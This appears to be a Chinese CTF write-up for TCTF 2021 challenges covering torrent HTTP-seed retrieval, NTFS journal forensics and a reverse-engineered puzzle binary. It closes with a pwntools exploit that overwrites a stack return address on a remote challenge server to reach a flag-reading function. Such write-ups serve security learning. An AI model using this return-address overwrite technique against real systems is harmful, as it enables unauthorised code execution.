F#5
C6-G5
A6-F#6,D#6
A6,F#6,D#6
A6,F#6-D#6
A6,D#6
A6-D#6
A6,D#6
F#7-C7
E7-D7
F7,C#7
F#7,C7
E6,A#5
E6-A#5
E6,A#5
A6-D#6
A6-G6
F#6-E6
A6-D#6
C#7-G6
C#7,G6
C#7,A#6,G6
C#7,A#6-G6
musiking
GutHib
瞎按试出来的,莫名其妙就有了
先去点了一下上图这个,然后返回以后再去按这个:
发现跳到了:https://github.com/awesome-ctf/TCTF2021-Guthib/commit/6442a84e359a19c4aeb1ef792a04bb9206140926
得到flag:
TCTF Share
点进去发现mp4的磁力链接和种子都没问题,是匹配的。但是TCTF那个的磁力链接和种子有问题,那么去分析一下磁力链接和种子。
关于磁力链接,我们可以看到本题所指向的磁力链接都是类似这样的格式:
magnet:?xt=urn:btih:AQEQB7YBOGIMOQARSRXSHGULZUI25EY3&dn=Secret%20of%20TCTF%202021.7z
btih后面跟着的是Base32(BitTorrent Info Hash(Hex)),那么将7z那个btih后面的解base32,即可得到其BitTorrent Info Hash(Hex):%04%09%00%FF%01%71%90%C7%40%11%94%6F%23%9A%8B%CD%11%AE%93%1B
然后对于torrent种子文件详解可以参考雪殇师傅这篇文章:http://www.snowywar.top/?p=1118
解码后可以在后面看到这样的数据:
“creation date": 1625185248,
"httpseeds": "https://bt.hzh.moe/seeding",
"info": {
可以看到存在一个叫httpseeds的东西,那么查找这个的相关信息可以看到:https://wiki.vuze.com/w/HTTP_Seeding
他需要传两个参数,一个是info_hash,一个是piece_number,那么info_hash我们已经知道了,piece_number是块号
然后改一下UA,发现返回了这样的数据:
可以看到成功有7z包返回,那么块号从0依次往上,写了个脚本:
import requests
fp = open('1.7z','wb')
header = {'user-agent': 'uTorrent'}
for i in range(46):
url = 'https://bt.hzh.moe/seeding?info_hash=%04%09%00%FF%01%71%90%C7%40%11%94%6F%23%9A%8B%CD%11%AE%93%1B&piece='+str(i)
r = requests.get(url,headers=header)
# print((r.content))
fp.write((r.content))
可以成功得到完整的7z包
解压7z得到磁盘镜像,用linux挂载,用dd将分区导出成img。用FTK Imager可以查看到ntfs的内部文件(直接用FTK Imager,或是Diskgenius提取,会得到0kb文件),用linux提取文件。
#挂载:https://gist.github.com/allenyllee/0a4c02952bf695470860b27369bbb60d#file-mount_vhdx-sh-L7
sudo apt install qemu-utils
sudo apt install nbd-client
sudo modprobe nbd
sudo qemu-nbd -c /dev/nbd0 "$VHDX_IMG"
sudo partprobe /dev/nbd0 #不要mount分区
#提取
dd if=/dev/nbd0p2 of=part.img
ntfscat /dev/nbd0p2 '/$Extend/$UsnJrnl' > _UsnJrnl
使用工具提取内容为csv。
https://github.com/jschicht/UsnJrnl2Csv
从csv中可以看出,发生了很多的重命名操作,写脚本进行提取。
#py:2
data = open("UsnJrnl_2021-07-05_07-12-57.csv").readlines()
data = data[1:]
entities = {}
for line in data:
obj = line.split("|")
action = obj[4]
if action != 'CLOSE+RENAME_NEW_NAME':
continue;
newname = obj[1]
newname = newname[:newname.find('.')]
if len(newname) > 1:
continue;
#print(newname,end="")
uid = obj[5]
if uid in entities:
entities[uid].append(newname)
else:
entities[uid] = [newname]
#print()
keys = entities.keys()
keys.sort()
for key in keys:
print("%s: %s"%(key,"".join(entities[key])))
仔细观察得到flag。
40: a3bGkqTNUhMOUAp2DMsAlA3}5jTxtPamvcuRJugpnD{pr}Wp4FDdr2HqUqYVyQ26
43: wpa4b1AQVPOibxTBwz7Qn2xXcFy{Jbnca7pDyIMAR7i8Sseg5sRpPIBIW68opBiNB
44: phYaPUyusxk5}0PJQ19HsH3jHIonhFQVBxyzvtTUL7}W61xv7t3tUBhWOKiVio}tM
46: iPt86USAMpWJz5fDI47Vzu6BdlqxCxX0n6viKvNoZ7AzEAEHOpny0ZfV6tuT4QZm
47: j}vUG4Hr}DVGRFKZcY6op5BGLT}LqLrudLZqHOrh9Hcx8LVpOIeobvkrEyaTPzpV
49: t}IuwI9Chdl0O1P8hYzwku8MTfKub4li49wzetpEbWHIHfhl3WGc7gh0c0WzpMClH
50: 5TW57LSdRtbqa404yFJd2ujXJ{lPRPUwtfGtywtJBP5eGUF{mvkZE7}wSg5deoHL}i
51: Dyxy3OTAJdsovteo3{Z1MirxF9BmJ1ZAfov7tGKi1CpiDmNF7o3IJEvhOmV9RjLDP
53: Q2DnB4b{K{2FxleNfZ5ZDaA6tl{GIUbMFN3kLOs1p5kJgu9TzYBxGDTmYa}iet2}P
54: m0ngAg1g16KUDp8Zl0K7nbwLrLhMoasREHClz2aWJY6edmGlHrOdqXFgeKUQBEko
57: WOW0Is1That2Flag3TCTF{B7UmV4x8JRHNKBCWxyevXt97tnQJtHjrZ}4God5Job
59: NCJUO0B}Olw1b6CgZTFsncv2}pYfTJ323WJHeE03g2IZaCcyhgLn3WS2BGKr7zglR6
61: yrOyO9XJK13Pbnr2Msym{NzdA5mbyhKL5cgbO2moJC90f92B7Q0lGIucN2XAXj}MQ
62: L61ulkKDvC7Kh}FYXwslD0jp{auQstMN5S2hIXmSMkdZtYTVmltslyLPCTOdF1ysG
64: Nh1W7gq{Ea7XLGNCnFpKlo3j0sXxUklmrqFWtWt04Dc80XDg90JqFgZzLiWeoJbzx
65: ngnv2GZ6UD9aJnfnuFBIx1Mo084lND4}Oom7x{rbT7mTHl6OtNM9CrOjZGD4Lce
welcome
Discord
Survey
问卷
Re
VP
直接丢IDA,可以看到main函数clone了自进程,去执行其他函数,直接看关键函数sub_DC5
代码本身有一大堆的vfork跟syscall fork,不过貌似无关紧要,直接写个idapython去掉即可
去掉以后的F5代码如下
int sub_DC5()
{
int v1; // [rsp+4Ch] [rbp-1A4h]
int v2; // [rsp+78h] [rbp-178h]
int v3; // [rsp+84h] [rbp-16Ch]
int v4; // [rsp+DCh] [rbp-114h]
int v5; // [rsp+F8h] [rbp-F8h]
int v6; // [rsp+120h] [rbp-D0h]
int v7; // [rsp+138h] [rbp-B8h]
int v8; // [rsp+180h] [rbp-70h]
int v9; // [rsp+198h] [rbp-58h]
int v10; // [rsp+1A0h] [rbp-50h]
int v11; // [rsp+1BCh] [rbp-34h]
int v12; // [rsp+1DCh] [rbp-14h]
int v13; // [rsp+1E4h] [rbp-Ch]
dword_208040[0] = 1;
dword_208040[29] = 0;
dword_208040[30] = 256;
dword_208040[28] = byte_204020[dword_208040[29]];
dword_208040[29] += dword_208040[0];
dword_208040[5] = getpid();
dword_208040[27] = 0;
dword_208040[10] = 0;
while ( 1 )
{
v1 = dword_208040[27] - dword_208040[28];
dword_208040[31] = 0;
if ( v1 )
{
if ( v1 < 0 )
dword_208040[31] |= 2u;
}
else
{
dword_208040[31] |= 1u;
}
if ( (dword_208040[31] & 1) != 0 )
break;
dword_208040[26] = byte_204020[dword_208040[29]];
dword_208040[29] += dword_208040[0];
dword_208040[25] = byte_204020[dword_208040[29]];
dword_208040[29] += dword_208040[0];
dword_208040[24] = byte_204020[dword_208040[29]];
dword_208040[29] += dword_208040[0];
dword_208040[23] = 2;
v4 = dword_208040[26] - dword_208040[23];
dword_208040[31] = 0;
if ( v4 )
{
if ( v4 < 0 )
dword_208040[31] |= 2u;
}
else
{
dword_208040[31] |= 1u;
}
if ( (dword_208040[31] & 1) != 0 )
{
dword_208040[22] = 1;
dword_208040[21] = 10;
dword_208040[21] *= dword_208040[25];
}
else
{
dword_208040[23] = 3;
v5 = dword_208040[26] - dword_208040[23];
dword_208040[31] = 0;
if ( v5 )
{
if ( v5 < 0 )
dword_208040[31] |= 2u;
}
else
{
dword_208040[31] |= 1u;
}
if ( (dword_208040[31] & 1) != 0 )
{
dword_208040[22] = -1;
dword_208040[21] = 10;
dword_208040[25] += dword_208040[0];
dword_208040[21] *= dword_208040[25];
dword_208040[21] -= dword_208040[0];
}
else
{
dword_208040[23] = 0;
v6 = dword_208040[26] - dword_208040[23];
dword_208040[31] = 0;
if ( v6 )
{
if ( v6 < 0 )
dword_208040[31] |= 2u;
}
else
{
dword_208040[31] |= 1u;
}
if ( (dword_208040[31] & 1) != 0 )
{
dword_208040[22] = 10;
dword_208040[21] = dword_208040[25];
}
else
{
dword_208040[23] = 1;
v7 = dword_208040[26] - dword_208040[23];
dword_208040[31] = 0;
if ( v7 )
{
if ( v7 < 0 )
dword_208040[31] |= 2u;
}
else
{
dword_208040[31] |= 1u;
}
if ( (dword_208040[31] & 1) == 0 )
goto LABEL_78;
dword_208040[21] = 10;
dword_208040[22] = 0;
dword_208040[22] -= dword_208040[21];
dword_208040[20] = dword_208040[21];
dword_208040[20] -= dword_208040[0];
dword_208040[21] *= dword_208040[20];
dword_208040[21] += dword_208040[25];
}
}
}
dword_208040[20] = 0;
dword_208040[19] = 10;
dword_208040[18] = 0;
dword_208040[17] = -1;
dword_208040[3] = 0;
dword_208040[12] = 1023;
while ( 1 )
{
v8 = dword_208040[20] - dword_208040[19];
dword_208040[31] = 0;
if ( v8 )
{
if ( v8 < 0 )
dword_208040[31] |= 2u;
}
else
{
dword_208040[31] |= 1u;
}
if ( (dword_208040[31] & 1) != 0 )
break;
dword_208040[16] = 256;
dword_208040[16] += dword_208040[21];
dword_208040[15] = byte_204020[dword_208040[16]];
v9 = dword_208040[15] - dword_208040[0];
dword_208040[31] = 0;
if ( v9 )
{
if ( v9 < 0 )
dword_208040[31] |= 2u;
}
else
{
dword_208040[31] |= 1u;
}
if ( ((dword_208040[31] >> 1) & 1) != 0 )
goto LABEL_78;
v10 = dword_208040[15] - dword_208040[19];
dword_208040[31] = 0;
if ( v10 )
{
if ( v10 < 0 )
dword_208040[31] |= 2u;
}
else
{
dword_208040[31] |= 1u;
}
if ( ((dword_208040[31] >> 1) & 1) == 0 && (dword_208040[31] & 1) == 0 )
goto LABEL_78;
dword_208040[14] = dword_208040[15];
dword_208040[14] -= dword_208040[0];
dword_208040[13] = dword_208040[0];
dword_208040[13] <<= dword_208040[14];
dword_208040[3] |= dword_208040[13];
v11 = dword_208040[17] - dword_208040[15];
dword_208040[31] = 0;
if ( v11 )
{
if ( v11 < 0 )
dword_208040[31] |= 2u;
}
else
{
dword_208040[31] |= 1u;
}
if ( ((dword_208040[31] >> 1) & 1) != 0 )
{
dword_208040[17] = dword_208040[15];
dword_208040[18] += dword_208040[0];
}
dword_208040[21] += dword_208040[22];
dword_208040[20] += dword_208040[0];
}
v12 = dword_208040[12] - dword_208040[3];
dword_208040[31] = 0;
if ( v12 )
{
if ( v12 < 0 )
dword_208040[31] |= 2u;
}
else
{
dword_208040[31] |= 1u;
}
if ( (dword_208040[31] & 1) != 0 )
{
v13 = dword_208040[18] - dword_208040[24];
dword_208040[31] = 0;
if ( v13 )
{
if ( v13 < 0 )
dword_208040[31] |= 2u;
}
else
{
dword_208040[31] |= 1u;
}
if ( (dword_208040[31] & 1) != 0 )
dword_208040[10] += dword_208040[0];
}
dword_208040[27] += dword_208040[0];
}
dword_208040[4] = getpid();
dword_208040[4] -= dword_208040[5];
dword_208040[7] = 192;
dword_208040[6] = *(_DWORD *)&byte_204020[dword_208040[7]];
v2 = dword_208040[4] - dword_208040[6];
dword_208040[31] = 0;
if ( v2 )
{
if ( v2 < 0 )
dword_208040[31] |= 2u;
}
else
{
dword_208040[31] |= 1u;
}
if ( (dword_208040[31] & 1) != 0 )
{
v3 = dword_208040[28] - dword_208040[10];
dword_208040[31] = 0;
if ( v3 )
{
if ( v3 < 0 )
dword_208040[31] |= 2u;
}
else
{
dword_208040[31] |= 1u;
}
if ( (dword_208040[31] & 1) != 0 )
{
puts("Correct");
fflush(stdout);
dword_208040[9] = 256;
dword_208040[8] = 10;
dword_208040[8] *= dword_208040[8];
dword_208040[9] += dword_208040[8];
dword_208040[8] = *(unsigned __int16 *)&byte_204020[dword_208040[9]];
dword_208040[9] += dword_208040[0];
dword_208040[9] += dword_208040[0];
dword_208040[7] = *(unsigned __int16 *)&byte_204020[dword_208040[9]];
*(_WORD *)&byte_204020[dword_208040[7]] = dword_208040[8];
return 0;
}
}
LABEL_78:
puts("Error :(");
return fflush(stdout);
}
结合动态调试,发现是在跑1010的摩天楼数独,数独的高度存放在0x204021处,直接提取出来
[(0, 8, 2),(0, 2, 3),(0, 5, 4),(0, 4, 2),(0, 6, 1),(1, 0, 2),(1, 3, 2),(1, 1, 4),(1, 7, 3),(1, 9, 2),(2, 3, 2),(2, 4, 2),(2, 9, 3),(2, 7, 3),(2, 2, 2),(3, 1, 2),(3, 6, 3),(3, 5, 2),(3, 0, 2),(3, 8, 1)]
转换成数独布局
3 2 4 1 2
2
2
2
2
2
2
3
3
1
3 *
2 4 2 3 2
解开数独
3 2 4 1 2
1 4 3 2 9 7 a 5 6 8 2
2 3 5 7 1 8 4 6 a 9 2
2 6 5 2 a 8 9 1 4 3 7
2 7 1 a 8 6 2 9 3 5 4
2 8 a 1 6 3 4 5 9 7 2
9 8 6 3 7 a 2 1 4 5 2
a 6 7 4 5 1 8 2 9 3 3
3 4 9 8 5 2 3 7 a 1 6
3 7 9 1 4 5 6 8 2 a 1
3 5 2 4 9 a 6 3 7 8 1
2 4 2 3 2
将解改写成输入
\x01\x04\x03\x02\x09\x07\x0A\x05\x06\x08\x02\x03\x05\x07\x01\x08\x04\x06\x0A\x09\x06\x05\x02\x0A\x08\x09\x01\x04\x03\x07\x07\x01\x0A\x08\x06\x02\x09\x03\x05\x04\x08\x0A\x01\x06\x03\x04\x05\x09\x07\x02\x09\x08\x06\x03\x07\x0A\x02\x01\x04\x05\x0A\x06\x07\x04\x05\x01\x08\x02\x09\x03\x04\x09\x08\x05\x02\x03\x07\x0A\x01\x06\x03\x07\x09\x01\x04\x05\x06\x08\x02\x0A\x05\x02\x04\x09\x0A\x06\x03\x07\x08\x01
但这时候输入长度才100,离程序预设还差4字节,仔细观察代码发现程序输出"Correct"之后还有一些小操作
puts("Correct");
fflush(stdout);
dword_208040[9] = 256;//用户输入内容偏移
dword_208040[8] = 10;
dword_208040[8] *= dword_208040[8];
dword_208040[9] += dword_208040[8];//偏移100
dword_208040[8] = *(unsigned __int16 *)&byte_204020[dword_208040[9]];
dword_208040[9] += dword_208040[0];
dword_208040[9] += dword_208040[0];//偏移102
dword_208040[7] = *(unsigned __int16 *)&byte_204020[dword_208040[9]];
*(_WORD *)&byte_204020[dword_208040[7]] = dword_208040[8];
return 0;
再翻看程序,发现sub_CC8函数有读取flag文件跟输出的代码,由于程序是用clone开启的流程,栈被固定在bss段,利用(_WORD )&byte_204020[dword_208040[7]] = dword_208040[8];这句代码来修改栈上的返回地址,让程序返回到sub_CC8,就可以拿到flag了
动态调试一下,算出栈地址跟0x204020的偏移为0x8008,写个脚本打远程就可以了。不过有aslr,要多打几次才能出flag,0xCC8改高一点,如0x5CC8,可以提升成功率
from pwn import *
codestr='143297a56823571846a9652a89143771a86293548a1634597298637a2145a6745182934985237a16379145682a5249a63781'
code=''
for i in codestr:
code+=chr(int(i,16))
code+='C85C0880'.decode('hex')
p = remote("111.186.59.32",20217)
print p.recvline()
p.send(code)
print p.recvall()